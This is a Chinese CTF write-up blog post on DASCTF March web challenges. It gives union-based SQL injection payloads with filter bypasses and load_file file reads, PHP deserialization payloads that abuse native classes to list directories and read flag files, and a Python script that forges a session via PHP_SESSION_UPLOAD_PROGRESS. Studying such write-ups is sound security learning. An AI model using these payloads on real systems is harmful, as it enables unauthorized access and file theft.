DASCTF-三月赛-web题复现

原创

weixin_45800126 于 2021-04-15 16:30:57 发布 358 收藏 1

文章标签： web

本文链接：https://blog.csdn.net/weixin_45800126/article/details/115730393

---

title: DASCTF 三月赛 web题复现
date: 2021-04-07 15:04:52
tags: DASCTF

BestDB

0x01

源码给了查询语句

```
$sql = "SELECT * FROM users WHERE id = '$query' OR username = \"$query\"";
```

过滤单引号，但没过滤双引号，所以选择闭合后面的用户名进行union查询

查表名

```
query=-1"/**/union/**/select/**/group_concat(table_name),2,3/**/from/**/information_schema.tables/**/where/**/table_schema=database()%23
//f1agdas,users
```

查字段

```
query=-1"/**/union/**/select/**/group_concat(column_name),2,3/**/from/**/information_schema.columns/**/where/**/table_name="f1agdas"%23
//id,f1agdas
```

查数据

```
query=-1"/**/union/**/select/**/f1agdas,2,3/**/from/**/f1agdas%23
//flag.txt
```

返回一个文件名，使用load_file读取/flag.txt获得flag，flag被过滤了，可以使用16进制编码绕过

```
query=-1"/**/union/**/select/**/load_file(0x2F666C61672E747874),2,3%23
```

ez_serialize

0x01

题目给了源码，序列化的题目，但是源码中并没有可以利用的类，所以是php原生类的利用

spl,标准php类库，里面存着一些php原生类，其中有可以遍历目录或读取文件

> DirectoryIterator 遍历目录 直接echo会输出目录下的.(即表示当前目录的符号)
> FilesystemIterator 遍历目录 直接echo会输出目录下第一个文件夹或文件名
> SplFileObject 读取文件内容，按行读取，跨行需要遍历

源码如下

```php
<?php
error_reporting(0);
highlight_file(__FILE__);

class A{
    public $class;
    public $para;
    public $check;
    public function __construct()
    {
        $this->class = "B";
        $this->para = "ctfer";
        echo new  $this->class ($this->para);
    }
    public function __wakeup()
    {
        $this->check = new C;
        if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
            echo new  $this->class ($this->para);
        }
        else
            die('bad hacker~');
    }

}
class B{
    var $a;
    public function __construct($a)
    {
        $this->a = $a;
        echo ("hello ".$this->a);
    }
}
class C{

    function vaild($code){
        $pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
        if (preg_match($pattern, $code)){
            return false;
        }
        else
            return true;
    }
}
if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
else{
    $a=new A;

}
```

利用原生类先读取`var/www/html`下文件

```php
<?php
class A{
 public $class = 'FilesystemIterator';
 public $para = '/var/www/html';
 public $check;
}
$a =  new A();
echo serialize($a);
//O:1:"A":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:13:"/var/www/html";s:5:"check";N;}
```

提交

```
?pop=O:1:"A":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:13:"/var/www/html";s:5:"check";N;}
//1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE
```

读取获得的这个目录

```php
<?php
class A{
 public $class = 'FilesystemIterator';
 public $para = '/var/www/html/1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE';
 public $check;
}
$a =  new A();
echo serialize($a);
//O:1:"A":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:47:"/var/www/html/1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_h
ErE";s:5:"check";N;}
```

提交后输出了flag.php

最后读取flag.php

```php
<?php
class A{
 public $class = 'SplFileObject';
 public $para = '/var/www/html/1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.phpssss';
 public $check;
}
$a =  new A();
echo serialize($a);
//O:1:"A":3:{s:5:"class";s:13:"SplFileObject";s:4:"para";s:56:"/var/www/html/1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/f
lag.php";s:5:"check";N;}
```

在源码可以看到flag

ez_login

比赛的时候没做出了，也没来得及复现环境就关了，看了别的师傅的writeup，主要记录一下前面绕过session检测的方法，后面就是一个sql盲注

源码

```php
<?php
    if(!isset($_SESSION)){
        highlight_file(__FILE__);
        die("no session");
    }
    include("./php/check_ip.php");
    error_reporting(0);
    $url = $_GET['url'];
    if(check_inner_ip($url)){
        if($url){
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
            $output = curl_exec($ch);
            $result_info = curl_getinfo($ch);
            curl_close($ch);
            }
    }else{
        echo "Your IP is internal yoyoyo";
    }
?>
```

题目思路是通过ssrf去访问到后台的admin.php，然后进行sql注入拿flag

由源码可以看到，必须要存在session会话才可以进行下一步的ssrf

利用PHP_SESSION_UPLOAD_PROGRESS可以绕过，php在文件上传的时候，会在session中存放上传文件的信息，包括上传进度，文件名等等，当然，文件上传成功后就会被删除，但这里其实可以利用，只要我们上传一个足够大的文件，利用条件竞争的话，再搭配文件包含漏洞，就有可能将恶意代码注入应用程序，这个之后研究

在配置中，`session.use_strict_mode=off`这个选项默认值为off，表示我们对Cookie中sessionid可控，这样我们就可以随意构造一个PHPSESSID，这样就成功获得了一个会话

测试代码

```php
<?php
if(!isset($_SESSION)){
 highlight_file(__FILE__);
 die("no session");
}
else{
 echo "you are successful";
}
```

脚本

```python
import requests

session = requests.Session()

url = "http://127.0.0.1/1.php"
myData = {'PHP_SESSION_UPLOAD_PROGRESS':'nappingCat'}
myFile = {'file':('1.txt','somethingnotimportant')}
myCookie = {'PHPSESSID':'nappingCat'}
proxies={'http':'127.0.0.1:8080','https':'127.0.0.1:8080'}

r = session.post(url=url, data=myData, files=myFile, cookies=myCookie, proxies=proxies, verify=False)
```

利用bp抓包

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Kapnnco1-1618475384989)(DASCTF-三月赛-web题复现/Snipaste_2021-04-11_17-38-55.png)]

可以在自己的服务器存放session的目录下看到文件

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-guMJ63wh-1618475384992)(DASCTF-三月赛-web题复现/Snipaste_2021-04-11_17-41-00.png)]

文件内容是空的，因为已经上传结束了